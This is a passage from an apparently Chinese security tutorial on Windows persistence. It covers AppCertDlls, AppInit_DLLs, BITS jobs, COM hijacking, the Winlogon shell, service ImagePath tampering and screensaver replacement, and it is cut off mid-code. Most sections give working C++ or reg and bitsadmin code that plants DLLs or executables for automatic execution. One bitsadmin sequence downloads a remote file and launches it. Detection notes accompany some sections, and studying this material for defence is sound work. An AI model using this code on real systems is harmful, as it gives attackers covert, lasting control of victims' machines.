那么此进程会获取“HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\AppCertDlls”下对应进程名的注册表项,此项下的dll都会加载到此进程。

2. 攻击实现方式

用C++程序调用win32api添加注册表项,

HKEY hKey;

const char path[]= "C:\\dll.dll";

RegCreateKeyExA(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\SessionManager\\AppCertDlls", 0, NULL, 0, KEY_WRITE, NULL, &hKey,&dwDisposition);

RegSetValueExA(hKey,"Default", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));
View Code

或者用reg指令添加注册表项,

reg  add "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management\\AppCertDlls" /v Default /t REG_MULTI_SZ /d "c:\dll.dll 0 0" /f"

Dll代码:

BOOL TestMutex()

{

    HANDLE hMutex = CreateMutexA(NULL, false,"myself");

    if (GetLastError() == ERROR_ALREADY_EXISTS)

    {

       CloseHandle(hMutex);

       return 0;

    }

    return 1;

}

 

BOOL APIENTRYDllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)

{

    switch (ul_reason_for_call)

    {

    case DLL_PROCESS_ATTACH:

       if (TestMutex() == 0)

           return TRUE;

       MessageBoxA(0,"hellotopsec","AppCert",0);

    case DLL_THREAD_ATTACH:

    case DLL_THREAD_DETACH:

    case DLL_PROCESS_DETACH:

        break;

    }

    return TRUE;

}
View Code

测试小程序,用CreateProcess打开notepad.exe,

可以看到test.exe中已经加载dll.dll,并弹出“hellotopsec”。

同时也能发现,在svchost.exe和taskeng.exe中也加载了dll.dll。

0x6:利用 AppInit DLLs 注册表项实现针对加载user32.dll的进程注入和持久化目的

1. 原理说明

User32.dll被加载到进程时,会获取AppInit_DLLs注册表项,若有值,则调用LoadLibrary()API加载用户DLL。

所有加载了user32.dll的进程,都会去读取“HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Window\Appinit_Dlls”下的配置。

reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows "AppInit_DLLs"="pserver32.dll"
reg add HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs %APPDATA%\Intel\ResN32.dll 
reg add HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs 0x1

2. 攻击实现方式

运行cmd.exe,就会发现cmd.exe已经加载指定dll。 

0x7:利用 BITS Jobs 实现持久化后门任务

1. 原理说明

BITS(后台智能传输服务)是一个 Windows 组件,它可以利用空闲的带宽在前台或后台异步传输文件,例如,当应用程序使用80%的可用带宽时,BITS将只使用剩下的20%。不影响其他网络应用程序的传输速度,并支持在重新启动计算机或重新建立网络连接之后自动恢复文件传输。

通常来说,BITS会代表请求的应用程序异步完成传输,即应用程序请求BITS服务进行传输后,可以自由地去执行其他任务,乃至终止。只要网络已连接并且任务所有者已登录,则传输就会在后台进行。当任务所有者未登录时,BITS任务不会进行。

BITS采用队列管理文件传输。一个BITS会话是由一个应用程序创建一个任务而开始。一个任务就是一份容器,它有一个或多个要传输的文件。

新创建的任务是空的,需要指定来源与目标URI来添加文件。

下载任务可以包含任意多的文件,而上传任务中只能有一个文件。

创建和管理BITS作业的接口可以通过PowerShell和BITSAdmin工具命令访问,常用于 WindowsUpdate的安装更新。 

BITS任务在BITS作业数据库中是自包含的,没有新文件或注册表修改,并且通常由主机防火墙允许。所以攻击者常用该方法实现windows下的远程文件下载目的。

同时,Bits Job还提供了持久化任务的功能,使之称为持久性攻击的一种攻击载体。

常用命令如下:

  • 列出所有任务:
    • bitsadmin/list /allusers /verbose
    • sc query bits
  • 删除某个任务:bitsadmin/cancel <Job>
  • 删除所有任务:bitsadmin/reset /allusers
  • 完成任务:bitsadmin/complete <Job>
  • 配置任务命令:
    • bitsadmin/create TopSec
    • bitsadmin/addfile TopSec https://gss3.bdstatic.com/7Po3dSag_xI4khGkpoWK1HF6hhy/baike/w%3D268%3Bg%3D0/sign=860ac8bc858ba61edfeecf29790ff037/b3fb43166d224f4a179bbd650ef790529822d142.jpg C:\TopSec.jpg
    • bitsadmin.exe/SetNotifyCmdLine TopSec "%COMSPEC%" "cmd.exe /c bitsadmin.exe/complete \"TopSec\" && start /B C:\TopSec.jpg"
    • bitsadmin/Resume TopSec

Monitor usage of the BITSAdmin tool 

‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' 

2. 攻击实现方式

BITS拥有可以中断后继续工作的特性,即在系统重新启动后仍能自动运行的操作,所以Bits可以被用来实现持久化后门的目的。

除了从远程下载文件并执行,Bits还可以将完成参数“complete”去掉,将下载的远程服务器文件换成本地文件,即实现本地程序执行的目的,这就变成了一种提权或者指令执行的攻击方式,

void BitsJob()

{

    char szSaveName[MAX_PATH] ="C:\\bitshello.exe";

    if (FALSE == m_Bits)

    {

       // 释放资源

       BOOL bRet = FreeMyResource(IDR_MYRES22,"MYRES2", szSaveName);

       WinExec("bitsadmin /createTopSec", 0);

       WinExec("bitsadmin /addfile TopSec\"C:\\Windows\\system32\\cmd.exe\" \"C:\\cmd.exe\"",0);

       WinExec("bitsadmin.exe/SetNotifyCmdLine TopSec \"C:\\Windows\\system32\\cmd.exe\"\"cmd.exe /c C:\\bitshello.exe\"", 0);

       WinExec("bitsadmin /ResumeTopSec", 0);

       m_Bits = TRUE;

    }

    else

    {

       WinExec("bitsadmin /completeTopSec", 0);

       remove(szSaveName);

       m_Bits = FALSE;

    }

    UpdateData(FALSE);

}
View Code

0x8:利用 Com组件劫持 实现持久化

1. COM 技术简介

COM component(COM组件)是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术。

在COM构架下,人们可以开发出各种各样的功能专一的组件,然后将它们按照需要组合起来,构成复杂的应用系统。

由此带来的好处是多方面的:

  • 可以将系统中的组件用新的替换掉,以便随时进行系统的升级和定制
  • 可以在多个应用系统中重复利用同一个组件
  • 可以方便的将应用系统扩展到网络环境下,它是跨主机网络的
  • COM与语言,平台无关。所有的开发者均可充分发挥自己的才智与专长编写组件模块

COM技术可以说是非常强大的一门技术,Windows编程中大量使用到该技术。

2. CLSID 简介

当初微软设计com规范的时候,有两种选择来保证用户的设计的com组件可以全球唯一:

  • 第一种是采用和Internet地址一样的管理方式,成立一个管理机构,用户如果想开发一个COM组件的时候需要向该机构提出申请,并交一定的费用
  • 第二种是发明一种算法,每次都能产生一个全球唯一的COM组件标识符

第一种方法,用户使用起来太不方便,微软采用第二种方法,并发明了一种算法,这种算法用GUID(Globally Unique Identifiers)来标识COM组件,GUID是一个128位长的数字,一般用16进制表示。

算法的核心思想是结合机器的网卡、当地时间、一个随即数来生成GUID。从理论上讲,如果一台机器每秒产生10000000个GUID,则可以保证(概率意义上)3240年不重复。

在程序中,实际对象数据对应的处理程序路径string往往不尽相同,比如有的放C盘有的D盘,微软想出了一个解决方案,那就是不使用直接的路径表示方法,而使用一个叫 CLSID的方式间接描述这些对象数据的处理程序路径。

其实就是一个号码,CLSID 的结构定义如下:

typedef struct _GUID { 
 DWORD Data1; // 随机数 
 WORD Data2; // 和时间相关 
 WORD Data3; // 和时间相关 
 BYTE Data4[8]; // 和网卡MAC相关 
} GUID;

typedef GUID CLSID;  // 组件ID 
typedef GUID IID;    // 接口ID 
\#define REFCLSID const CLSID &

// 常见的声明和赋值方法 
CLSID CLSID_Excel = {0x00024500,0x0000,0x0000,{0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46}}; 
struct __declspec(uuid("00024500-0000-0000-C000-000000000046")) CLSID_Excel; 
class DECLSPEC_UUID("00024500-0000-0000-C000-000000000046") CLSID_Excel; 
// 注册表中的表示方法 
{00024500-0000-0000-C000-000000000046}

用python生成一个CLSID:

>>> import pythoncom
>>> print(pythoncom.CreateGuid())
{DE6F358D-A750-49D5-9217-196E05B3E2AE}

3. COM组件与注册表关系

当我们编写好一个COM组件,都需要注册到注册表中,这样当程序调用COM组件的这个功能的时候,通过指定CLSID序列号,系统会从注册表进行读取相应位置的DLL或者EXE,加载到进程还是线程中来,供我们使用。

例如,以“\HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}”为例,

我们可以通过 WIN + R 打开运行窗口,输入 ::{20D04FE0-3AEA-1069-A2D8-08002B30309D} ,来直接打开我的电脑的界面。 

注册表中,

  • LocalServer32键表示可执行(exe)文件的路径
  • InprocServer32键表示动态链接库(DLL)文件的路径

COM函数功能主要是通过这两类文件来实现。

4. 用Python实现COM注册

class pyCOM_HijackDemo(object):
    _public_methods_ = [ 'CountNumber' ]
    _reg_progid_ = "pyCOM_HijackDemo.CountNumber"
    _reg_clsid_ = "{DE6F358D-A750-49D5-9217-196E05B3E2AE}"  
    
    def CountNumber(self,number1=0,number2=0):
        count1 = number1 + number2
        return count1

if __name__=='__main__':
    print("Registering COM server")
    import win32com.server.register
    win32com.server.register.UseCommandLine(pyCOM_HijackDemo)

该DEMO主要的功能就是对number1和number2进行相加,返回两个值相加的和。

进入到注册表中,查看下相关注册的信息。

导出注册表项,

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DE6F358D-A750-49D5-9217-196E05B3E2AE}]
@="pyCOM_HijackDemo.CountNumber"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DE6F358D-A750-49D5-9217-196E05B3E2AE}\Debugging]
@="0"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DE6F358D-A750-49D5-9217-196E05B3E2AE}\Implemented Categories]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DE6F358D-A750-49D5-9217-196E05B3E2AE}\Implemented Categories\{B3EF80D0-68E2-11D0-A689-00C04FD658FF}]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DE6F358D-A750-49D5-9217-196E05B3E2AE}\InprocServer32]
"ThreadingModel"="both"
@="pythoncomloader27.dll"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DE6F358D-A750-49D5-9217-196E05B3E2AE}\LocalServer32]
@="C:\\Python27\\pythonw.exe \"C:\\Python27\\lib\\site-packages\\win32com\\server\\localserver.py\" {DE6F358D-A750-49D5-9217-196E05B3E2AE}"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DE6F358D-A750-49D5-9217-196E05B3E2AE}\ProgID]
@="pyCOM_HijackDemo.CountNumber"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DE6F358D-A750-49D5-9217-196E05B3E2AE}\PythonCOM]
@="1.pyCOM_HijackDemo"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DE6F358D-A750-49D5-9217-196E05B3E2AE}\PythonCOMPath]
@="C:\\inetpub\\wwwroot"

可以看到,python com底层还是通过exe/dll来实现。

下面我们简单的使用下这个COM组件的功能,

import win32com.client
a = win32com.client.Dispatch("pyCOM_HijackDemo.CountNumber")
print a.CountNumber()

print a.CountNumber(1,2)

为了演示COM的跨应用接口调用特性,我们用Excel中的VBA写一个调用,

Sub vbacom()
    Dim Demonumber
    Set Demonumber = CreateObject("yCOM_HijackDemo.CountNumber")

    Sheet1.Cells(4, 3) = Demonumber.CountNumber(1, 3)
    Sheet1.Cells(5, 3) = Demonumber.CountNumber(5, 6)

End Sub

还可以用powershell启动COM组件,

$COMobj = [activator]::CreateInstance([type]::GetTypeFromCLSID("{00020000-0000-0000-C000-000000000046}"));$COMobj.Exec();

5. COM劫持原理

COM劫持,从根本上来说,就是在程序读取注册表信息中的DLL或者EXE功能的路径上,做一个拦截,让程序提前读取我们的设置好的恶意DLL或者EXE。原理和DLL劫持类似。 

读取顺序如下:

  • HKEY_CURRENT_USER\Software\Classes\CLSID
  • HKEY_CLASSES_ROOT\CLSID
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\

所谓的COM劫持,是一个最终的结果。而实现这一结果的目的还是需要COM注册,包括,

  • 通过reg指令向进程的COM搜索路径中添加后门exe/dll
  • 通过win32api

所以检测COM劫持的方法可以分为两种,

  • 检测包含COM加载的恶意脚本 
  • 检测和COM路径相关的reg指令

6. COM劫持实现

攻击者要想COM劫持,必须精心挑选CLSID,尽量选择应用范围广的CLSID。

这里,我们选择的CLSID为:{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7},来实现对CAccPropServicesClass 和 MMDeviceEnumerator 的劫持。系统很多正常程序启动时需要调用这两个实例。

Dll存放的位置://%APPDATA%Microsoft/Installer/{BCDE0395-E52F-467C-8E3D-C4579291692E}

修改注册表,在指定路径添加文件,

void CPersistenceDlg::comHijacking()

{

    HKEY hKey;

    DWORD dwDisposition;

   //%APPDATA%Microsoft/Installer/{BCDE0395-E52F-467C-8E3D-C45792916//92E}

    char system1[] ="C:\\Users\\TopSec\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\TopSec.dll";

    char system2[] = "Apartment";

    string defaultPath ="C:\\Users\\TopSec\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}";

    string szSaveName ="C:\\Users\\TopSec\\AppData\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\TopSec.dll";

    if (FALSE == m_Com)

    {

       //string folderPath = defaultPath +"\\testFolder";

       string command;

       command = "mkdir -p " +defaultPath;

       system(command.c_str());

       // 释放资源

       BOOL bRet = FreeMyResource(IDR_MYRES23,"MYRES2", system1);

       if (ERROR_SUCCESS !=RegCreateKeyExA(HKEY_CURRENT_USER,

           "Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32",0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))

       {

           ShowError("RegCreateKeyExA");

           return;

       }

       if (ERROR_SUCCESS != RegSetValueExA(hKey,NULL, 0, REG_SZ, (BYTE*)system1, (1 + ::lstrlenA(system1))))

       {

           ShowError("RegSetValueEx");

           return;

       }

       if (ERROR_SUCCESS != RegSetValueExA(hKey,"ThreadingModel", 0, REG_SZ, (BYTE*)system2, (1 +::lstrlenA(system2))))

       {

           ShowError("RegSetValueEx");

           return;

       }

       ::MessageBoxA(NULL, "comHijackingOK!", "OK", MB_OK);

       m_Com = TRUE;

    }

    else

    {

       if (ERROR_SUCCESS !=RegCreateKeyExA(HKEY_CURRENT_USER,

           "Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32",0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))

       {

           ShowError("RegCreateKeyExA");

           return;

       }

       if (ERROR_SUCCESS !=RegDeleteValueA(hKey, NULL))

       {

           ShowError("RegDeleteValueA");

           return;

       }

       if (ERROR_SUCCESS !=RegDeleteValueA(hKey, "ThreadingModel"))

       {

           ShowError("RegDeleteValueA");

           return;

       }

       remove(szSaveName.c_str());

       remove(defaultPath.c_str());

       ::MessageBoxA(NULL, "DeletecomHijacking OK!", "OK", MB_OK);

       m_Com = FALSE;

    }

    UpdateData(FALSE);

}
View Code

Relevant Link: 

http://sh1yan.top/2019/06/29/Principle-and-Practice-of-COM-Component-Hijacking/
https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence

0x9:Winlogon Helper DLL 

1. 原理介绍

Winlogon.exe进程是Windows操作系统中非常重要的一部分,Winlogon用于执行与Windows登录过程相关的各种关键任务,例如,当在用户登录时,Winlogon进程负责将用户配置文件加载到注册表中。

Winlogon进程会HOOK系统函数监控键盘是否按下Ctrl+ Alt + Delete,这被称为“Secure Attention Sequence”,这就是为什么一些系统会配置为要求您在登录前按Ctrl + Alt + Delete。

这种键盘快捷键的组合被Winlogon.exe捕获,确保您安全登录桌面,其他程序无法监控您正在键入的密码或模拟登录对话框。Windows登录应用程序还会捕获用户的键盘和鼠标活动,在一段时间未发现键盘和鼠标活动时启动屏幕保护程序。

在注册表项

  • HKLM\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\
  • HKCU\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon\

用于管理支持Winlogon的帮助程序和扩展功能,对这些注册表项的恶意修改可能导致Winlogon加载和执行恶意DLL或可执行文件。已知以下子项可能容易被恶意代码所利用:

  • Winlogon\Notify - 指向处理Winlogon事件的通知包DLL
  • Winlogon\Userinit- 指向userinit.exe,即用户登录时执行的用户初始化程序
  • Winlogon\Shell - 指向explorer.exe,即用户登录时执行的系统shell

攻击者可以利用这些功能重复执行恶意代码建立持久后门, 

BOOL  add_winlogon_helper()

{

    BOOL ret = FALSE;

    LONG rcode = NULL;

    DWORD key_value_type;

    BYTE shell_value_buffer[MAX_PATH * 2];

    DWORD value_buffer_size =  sizeof(shell_value_buffer) ;

    HKEY winlogon_key = NULL;

    DWORD set_value_size;

    BYTE path[MAX_PATH];

 

 

    rcode = RegOpenKeyEx(HKEY_CURRENT_USER,  _TEXT("Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon"),

            NULL, KEY_ALL_ACCESS,  &winlogon_key);

    if (rcode != ERROR_SUCCESS)

    {

        goto ERROR_EXIT;

    }

   

    //

    rcode =  RegQueryValueEx(winlogon_key,_TEXT("shell"), NULL,  &key_value_type, shell_value_buffer, &value_buffer_size);

    if (rcode != ERROR_SUCCESS)

    {

        //找不到指定的键值

        if (rcode == 0x2)  

        {

            //写入explorer.exe 和自定义的路径

            lstrcpy((TCHAR*)path,  _TEXT("explorer.exe, rundll32.exe \"C:\\topsec.dll\"  RunProc"));

            set_value_size =  lstrlen((TCHAR*)path) * sizeof(TCHAR) + sizeof(TCHAR);

 

            rcode =  RegSetValueEx(winlogon_key, _TEXT("shell"), NULL, REG_SZ, path,  set_value_size);

            if (rcode != ERROR_SUCCESS)

            {

                goto ERROR_EXIT;

            }

        }

        else

        {

            goto ERROR_EXIT;

        }

    }

    else

    {

        //原先已存在,追加写入

        lstrcat((TCHAR*)shell_value_buffer,  _TEXT(",rundll32.exe \"C:\\topsec.dll\" RunProc"));

        set_value_size =  lstrlen((TCHAR*)shell_value_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

        rcode = RegSetValueEx(winlogon_key, _TEXT("shell"),  NULL, REG_SZ, shell_value_buffer, set_value_size);

        if (rcode != ERROR_SUCCESS)

        {

            goto ERROR_EXIT;

        }

    }

 

    ret = TRUE;

 

ERROR_EXIT:

    if (winlogon_key != NULL)

    {

        RegCloseKey(winlogon_key);

        winlogon_key = NULL;

    }

    return ret;

}
View Code

其中 topsec.dll 的导出函数RunProc 代码如下:

extern "C"  __declspec(dllexport) void   RunProc(HWND hwnd,HINSTANCE hinst, LPTSTR lpCmdLine,int nCmdShow)
{
    while  (TRUE)
    {
       OutputDebugString(_TEXT("Hello  Topsec with Rundll32!!!"));
       Sleep(1000);
    }
}

运行后的注册表键值情况如下图所示:

当该用户下次登录的时候Winlogon会带动Rundll32程序,通过命令行参数加载预设的DLL文件执行其导出函数, 

2. 检测项

需要检查的注册表路径如下,

HKLM\Software[Wow6432Node]Microsoft\Windows NT\CurrentVersion\Winlogon\ 
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\

0x10:篡改服务进程实现持久化

1. 原理介绍 

Windows服务的配置信息存储在注册表中,一个服务项有许多键值,各个键值代表的功能如下:

  • “DisplayName”:服务名称
  • “Description”:服务描述
  • “ImagePath”:该服务程序所在的路径
  • “ObjectName”:
    • 值为“LocalSystem”,表示本地登录
  • “ErrorControl”:
    • 值为“1”;
  • “Start”:
    • 值为2表示自动运行
    • 值为3表示手动运行
    • 值为4表示禁止
  • “Type”:
    • 应用程序对应10
    • 其他对应20

攻击者要实现篡改服务持久化,需要选择一个服务,这里我们选择的服务是“COMSysApp”,本身“Type”为10。 

HKEY hKey;

    DWORD dwDisposition;

    DWORD dwData = 2;

    const char system[] ="C:\\SeviceTopSec.exe";//hello.exe

 

    if (ERROR_SUCCESS !=RegCreateKeyExA(HKEY_LOCAL_MACHINE,

       "SYSTEM\\CurrentControlSet\\services\\COMSysApp",0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))

    {

       return 0;

    }

    if (ERROR_SUCCESS != RegSetValueExA(hKey,"ImagePath", 0, REG_EXPAND_SZ, (BYTE*)system, (1 +::lstrlenA(system))))

    {

       return 0;

    }

    if (ERROR_SUCCESS != RegSetValueExA(hKey,"Start", 0, REG_DWORD, (BYTE*)& dwData, sizeof(DWORD)))

    {

       return 0;

    }

    return 0;
View Code

“ImagePath”中的程序需要实现一些特定的API(面向接口编程),总的来说,一个遵守服务控制管理程序接口要求的程序包含下面三个函数:

  • 服务程序主函数(main):调用系统函数 StartServiceCtrlDispatcher 连接程序主线程到服务控制管理程序。
  • 服务入口点函数(ServiceMain):执行服务初始化任务,同时执行多个服务的服务进程有多个服务入口函数。
  • 控制服务处理程序函数(Handler):在服务程序收到控制请求时由控制分发线程引用。

服务程序示例代码如下: 

HANDLEhServiceThread;

voidKillService();

char*strServiceName = "sev_topsec";

SERVICE_STATUS_HANDLEnServiceStatusHandle;

HANDLEkillServiceEvent;

BOOLnServiceRunning;

DWORDnServiceCurrentStatus;

 

void main(intargc, char* argv[])

 

{

    SERVICE_TABLE_ENTRYA ServiceTable[] =

    {

    {strServiceName,(LPSERVICE_MAIN_FUNCTIONA)ServiceMain},

    {NULL,NULL}

    };

    BOOL success;

    success =StartServiceCtrlDispatcherA(ServiceTable);

    if (!success)

    {

       printf("fialed!");

    }

}

 

voidServiceMain(DWORD argc, LPTSTR* argv)

 

{

    BOOL success;

    nServiceStatusHandle =RegisterServiceCtrlHandlerA(strServiceName,

       (LPHANDLER_FUNCTION)ServiceCtrlHandler);

    success =ReportStatusToSCMgr(SERVICE_START_PENDING, NO_ERROR, 0, 1, 3000);

    killServiceEvent = CreateEvent(0, TRUE,FALSE, 0);

    if (killServiceEvent == NULL)

    {

       return;

    }

    success =ReportStatusToSCMgr(SERVICE_START_PENDING, NO_ERROR, 0, 2, 1000);

    success = InitThread();

    nServiceCurrentStatus = SERVICE_RUNNING;

    success =ReportStatusToSCMgr(SERVICE_RUNNING, NO_ERROR, 0, 0, 0);

    WaitForSingleObject(killServiceEvent,INFINITE);

    CloseHandle(killServiceEvent);

}

 

BOOLReportStatusToSCMgr(DWORD dwCurrentState, DWORD dwWin32ExitCode,DWORDdwServiceSpecificExitCode, DWORD dwCheckPoint,DWORD dwWaitHint)

{

    BOOL success;

    SERVICE_STATUS nServiceStatus;

    nServiceStatus.dwServiceType =SERVICE_WIN32_OWN_PROCESS;

    nServiceStatus.dwCurrentState =dwCurrentState;

    //

    if (dwCurrentState == SERVICE_START_PENDING)

    {

       nServiceStatus.dwControlsAccepted = 0;

    }

    else

    {

       nServiceStatus.dwControlsAccepted =SERVICE_ACCEPT_STOP

           | SERVICE_ACCEPT_SHUTDOWN;

    }

    if (dwServiceSpecificExitCode == 0)

    {

       nServiceStatus.dwWin32ExitCode =dwWin32ExitCode;

    }

    else

    {

       nServiceStatus.dwWin32ExitCode =ERROR_SERVICE_SPECIFIC_ERROR;

    }

    nServiceStatus.dwServiceSpecificExitCode =dwServiceSpecificExitCode;

    //

    nServiceStatus.dwCheckPoint = dwCheckPoint;

    nServiceStatus.dwWaitHint = dwWaitHint;

    success =SetServiceStatus(nServiceStatusHandle, &nServiceStatus);

    if (!success)

    {

       KillService();

       return success;

    }

    else

       return success;

}

 

BOOL InitThread()

{

    DWORD id;

    hServiceThread = CreateThread(0, 0,

       (LPTHREAD_START_ROUTINE)OutputString,

       0, 0, &id);

    if (hServiceThread == 0)

    {

       return false;

    }

    else

    {

       nServiceRunning = true;

       return true;

    }

}

 

DWORDOutputString(LPDWORD param)

{

    OutputDebugString(L"HelloTopSec\n");

    return 0;

}

 

void KillService()

{

    nServiceRunning = false;

    SetEvent(killServiceEvent);

    ReportStatusToSCMgr(SERVICE_STOPPED,NO_ERROR, 0, 0, 0);

}

 

void ServiceCtrlHandler(DWORDdwControlCode)

{

    BOOL success;

    switch (dwControlCode)

    {

    case SERVICE_CONTROL_SHUTDOWN:

    case SERVICE_CONTROL_STOP:

       nServiceCurrentStatus =SERVICE_STOP_PENDING;

       success =ReportStatusToSCMgr(SERVICE_STOP_PENDING, NO_ERROR, 0, 1, 3000);

       KillService();

       return;

    default:

       break;

    }

    ReportStatusToSCMgr(nServiceCurrentStatus,NO_ERROR, 0, 0, 0);

}
View Code

重启“COMSysApp“服务

在任务管理器中点击转到进程,可以看到我们自己写的服务程序正在运行。

2. 检测项

1. sc create 服务名 参数1 参数2 .....
以下是参数列表
type= <own|share|interact|kernel|filesys|rec|error>
start= <boot|system|auto|demand|disabled|error>
error= <normal|severe|critical|error|ignore>
binPath= <BinaryPathName>
group= <LoadOrderGroup>
tag= <yes|no>
depend= <Dependencies(space seperated)>
obj= <AccountName|ObjectName>
DisplayName= <display name>
password= <password>

2. HKLM\SYSTEM\CurrentControlSet\Services

Relevant Link: 

https://mp.weixin.qq.com/s?__biz=Mzg3MDAzMDQxNw==&mid=2247487197&idx=1&sn=04f50a227add0d661d3d3bb82a64c97a&chksm=ce9543e3f9e2caf5dc3b954ff97802f0414172a47c523ec45477c4c9b07c08821a80925de8ef&scene=21#wechat_redirect

0x11:替换屏幕保护程序实现持久化

1. 原理介绍

屏幕保护是为了保护显示器而设计的一种专门的程序。当时设计的初衷是为了防止电脑因无人操作而使显示器长时间显示同一个画面,导致老化而缩短显示器寿命。用户在一定时间内不活动鼠标键盘之后会执行屏幕保护程序,屏保程序为具有.scr文件扩展名的可执行文件(PE)。

攻击者可以通过将屏幕保护程序设置为在用户鼠标键盘不活动的一定时间段之后运行恶意软件,也就是利用屏幕保护程序设置来维持后门的持久性。

屏幕保护程序的配置信息存储在在注册表中,路径为HKCU\Control Panel\Desktop,我们也可以通过改写关键键值来实现后门持久: 

  • SCRNSAVE.EXE:设置为恶意PE路径
  • ScreenSaveActive:设置为“1”以启用屏幕保护程序
  • ScreenSaverIsSecure:设置为“0”,不需要密码即可解锁
  • ScreenSaverTimeout:指定在屏幕保护程序启动之前系统保持空闲的时间

2. 实现过程

BOOL add_to_screensaver()

{

    BOOL  ret = FALSE;

    LONG  rcode = NULL;

    DWORD  key_value_type;

    BYTE  shell_value_buffer[MAX_PATH * 2];

    DWORD  value_buffer_size = sizeof(shell_value_buffer) ;

    HKEY  desktop_key = NULL;

    DWORD  set_value_size;

    BYTE  set_buffer[MAX_PATH];

 

 

    rcode  = RegOpenKeyEx(HKEY_CURRENT_USER, _TEXT("Control Panel\\Desktop"),

       NULL,  KEY_ALL_ACCESS, &desktop_key);

    if  (rcode != ERROR_SUCCESS)

    {

       goto  ERROR_EXIT;

    }

 

    //

    value_buffer_size  = sizeof(shell_value_buffer);

    rcode  = RegQueryValueEx(desktop_key,_TEXT("ScreenSaveActive"), NULL,  &key_value_type, shell_value_buffer, &value_buffer_size);

    if  (rcode != ERROR_SUCCESS)

    {

       //找不到指定的键值,说明未开启屏保功能。

       if  (rcode == 0x2)

       {

           //设置待启动程序路径

           lstrcpy((TCHAR*)set_buffer,  _TEXT("C:\\topsec.exe"));

           set_value_size  = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

 

           rcode  = RegSetValueEx(desktop_key, _TEXT("SCRNSAVE.EXE"), NULL, REG_SZ,  set_buffer, set_value_size);

           if  (rcode != ERROR_SUCCESS)

           {

              goto  ERROR_EXIT;

           }

 

           //设置启动时间,60秒无鼠标键盘活动后启动屏保

           lstrcpy((TCHAR*)set_buffer,  _TEXT("60"));

           set_value_size  = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

 

          

           rcode  = RegSetValueEx(desktop_key, _TEXT("ScreenSaveTimeOut"), NULL,  REG_SZ, set_buffer, set_value_size);

           if  (rcode != ERROR_SUCCESS)

           {

              goto  ERROR_EXIT;

           }

 

           //开启屏保功能

           lstrcpy((TCHAR*)set_buffer,  _TEXT("1"));

           set_value_size  = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

 

           rcode  = RegSetValueEx(desktop_key, _TEXT("ScreenSaveActive"), NULL,  REG_SZ, set_buffer, set_value_size);

           if  (rcode != ERROR_SUCCESS)

           {

              goto  ERROR_EXIT;

           }

       }

       else

       {

           goto  ERROR_EXIT;

       }

    }

    else

    {

       //有键值存在,已开启屏幕保护功能,需要保存原设置,驻留程序按实际情况启动原屏保

       if(lstrcmp(_TEXT("1"),  (TCHAR*)shell_value_buffer) == NULL)

       {

           //读取原值并保存

           value_buffer_size  = sizeof(shell_value_buffer);

           rcode  = RegQueryValueEx(desktop_key,_TEXT("SCRNSAVE.EXE"), NULL,  &key_value_type, shell_value_buffer, &value_buffer_size);

           if(rcode  != ERROR_SUCCESS && rcode != 0x2)

           {

              goto  ERROR_EXIT;

           }

           //当ScreenSaveActive值为1 而又不存在SCRNSAVE.EXE时,不备份。

           if(rcode  != 0x2)

           {

              rcode  = RegSetValueEx(desktop_key, _TEXT("SCRNSAVE.EXE.BAK"), NULL,  REG_SZ, shell_value_buffer, value_buffer_size);

              if  (rcode != ERROR_SUCCESS)

              {

                  goto  ERROR_EXIT;

              }

           }

 

 

           //改为待启动程序

           lstrcpy((TCHAR*)set_buffer,  _TEXT("C:\\topsec.exe"));

           set_value_size  = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

 

